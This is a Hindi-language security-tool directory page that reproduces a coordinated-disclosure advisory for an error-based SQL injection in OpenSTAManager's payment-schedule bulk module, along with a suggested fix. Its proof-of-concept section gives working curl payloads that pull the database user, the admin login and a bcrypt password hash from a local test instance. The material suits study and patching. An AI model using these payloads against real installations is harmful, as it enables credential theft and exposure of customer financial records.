Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-24418 — CVE-2026-24418 - OpenSTAManager में Scadenzario बल्क ऑपरेशन मॉड्यूल में SQL इंजेक्शन भेद्यता है | Kitploit
उपकरण/GitHubGitHub/lukasz-rybak/cve-2026-24418
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - OpenSTAManager में Scadenzario बल्क ऑपरेशन मॉड्यूल में SQL इंजेक्शन भेद्यता है

रिपॉजिटरी देखें
125 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-24418: OpenSTAManager में Scadenzario बल्क ऑपरेशंस मॉड्यूल में SQL इंजेक्शन कमजोरी

अवलोकन

फ़ील्डविवरण
CVE आईडीCVE-2026-24418
गंभीरताउच्च
सलाहसलाह देखें
द्वारा खोजा गयाLukasz Rybak

प्रभावित उत्पाद

  • devcode-it/openstamanager (संस्करण: <= 2.9.8)

CWE वर्गीकरण

  • CWE-89: SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण ('SQL इंजेक्शन')

विवरण

सारांश

OpenSTAManager v2.9.8 के Scadenzario (भुगतान अनुसूची) बल्क ऑपरेशंस मॉड्यूल में एक गंभीर त्रुटि-आधारित SQL इंजेक्शन कमजोरी प्रमाणित हमलावरों को XML त्रुटि संदेशों के माध्यम से उपयोगकर्ता क्रेडेंशियल, ग्राहक PII और वित्तीय रिकॉर्ड सहित संपूर्ण डेटाबेस सामग्री निकालने की अनुमति देती है।

स्थिति: ✅ लाइव इंस्टेंस पर पुष्टि और परीक्षण किया गया (v2.9.8) कमजोर पैरामीटर: id_records[] (POST सरणी) प्रभावित एंडपॉइंट: /actions.php?id_module=18 (Scadenzario मॉड्यूल) हमले का प्रकार: त्रुटि-आधारित SQL इंजेक्शन (IN खंड)

विवरण

OpenSTAManager v2.9.8 में Scadenzario (भुगतान अनुसूची) मॉड्यूल के बल्क ऑपरेशंस हैंडलर में एक गंभीर त्रुटि-आधारित SQL इंजेक्शन कमजोरी है। एप्लिकेशन यह सत्यापित करने में विफल रहता है कि id_records सरणी के तत्व SQL IN() खंड में उपयोग करने से पहले पूर्णांक हैं, जिससे हमलावर मनमाने SQL कमांड इंजेक्ट कर सकते हैं और XPATH त्रुटि संदेशों के माध्यम से संवेदनशील डेटा निकाल सकते हैं।

कमजोरी श्रृंखला:

  1. प्रवेश बिंदु: /actions.php (पंक्तियाँ 503-506)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    array_clean() फ़ंक्शन केवल खाली मानों को हटाता है - यह प्रकारों को मान्य नहीं करता।

  2. कमजोर फ़ंक्शन: /lib/util.php (पंक्तियाँ 54-60)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    प्रभाव: फ़ंक्शन खाली मानों को फ़िल्टर करता है लेकिन किसी भी गैर-खाली मान को स्वीकार करता है, जिसमें SQL इंजेक्शन पेलोड शामिल हैं।

  3. SQL इंजेक्शन बिंदु: /modules/scadenzario/bulk.php (पंक्ति 88) प्राथमिक कमजोरी

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    प्रभाव: $id_records से सरणी तत्वों को implode() का उपयोग करके सीधे जोड़ दिया जाता है, बिना प्रकार सत्यापन या prepare() के, जो पूर्ण SQL इंजेक्शन को सक्षम करता है।

मूल कारण विश्लेषण:

कमजोरी इसलिए मौजूद है क्योंकि:

  1. post('id_records') उपयोगकर्ता-नियंत्रित सरणी लौटाता है
  2. array_clean() केवल खाली मानों को हटाता है, गैर-पूर्णांक मानों को नहीं
  3. implode(',', $id_records) सरणी तत्वों को सीधे SQL में जोड़ता है
  4. कोई सत्यापन यह सुनिश्चित नहीं करता कि सरणी तत्व पूर्णांक हैं
  5. हमलावर प्रदान करके SQL इंजेक्ट कर सकता है: id_records[]=1&id_records[]=(दुर्भावनापूर्ण SQL)#

प्रभावित कोड पथ:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [कोई प्रकार सत्यापन नहीं]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [इंजेक्शन बिंदु]

प्रमाण-अवधारणा (PoC)

चरण 1: लॉगिन

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

चरण 2: कमजोरी सत्यापित करें (त्रुटि-आधारित SQL इंजेक्शन)

परीक्षण 1: डेटाबेस उपयोगकर्ता और संस्करण निकालें

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

प्रतिक्रिया (हमलावर को दिखाई देने वाला त्रुटि संदेश):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

परीक्षण 2: व्यवस्थापक क्रेडेंशियल निकालें

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

प्रतिक्रिया:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

परीक्षण 3: पासवर्ड हैश निकालें (भाग 1 - पहले 31 अक्षर)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

प्रतिक्रिया:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

परीक्षण 4: पासवर्ड हैश निकालें (भाग 2 - अक्षर 32-60)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

प्रतिक्रिया:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

संयुक्त पासवर्ड हैश:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

प्रभाव

**Scadenzario (भुगतान अनुसूची) मॉड्यूल बल्क ऑपरेशंस तक पहुंच वाले सभी प्रमाणित उपयोगकर्ता।

अनुशंसित सुधार:

प्राथमिक सुधार - प्रकार सत्यापन:

फ़ाइल: /modules/scadenzario/bulk.php

पहले (कमजोर - पंक्ति 88):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

बाद में (ठीक किया गया):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

श्रेय

Łukasz Rybak द्वारा खोजा गया

संदर्भ

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

अस्वीकरण

यह CVE समन्वित कमजोरी प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहां प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।

टूल डाउनलोड करें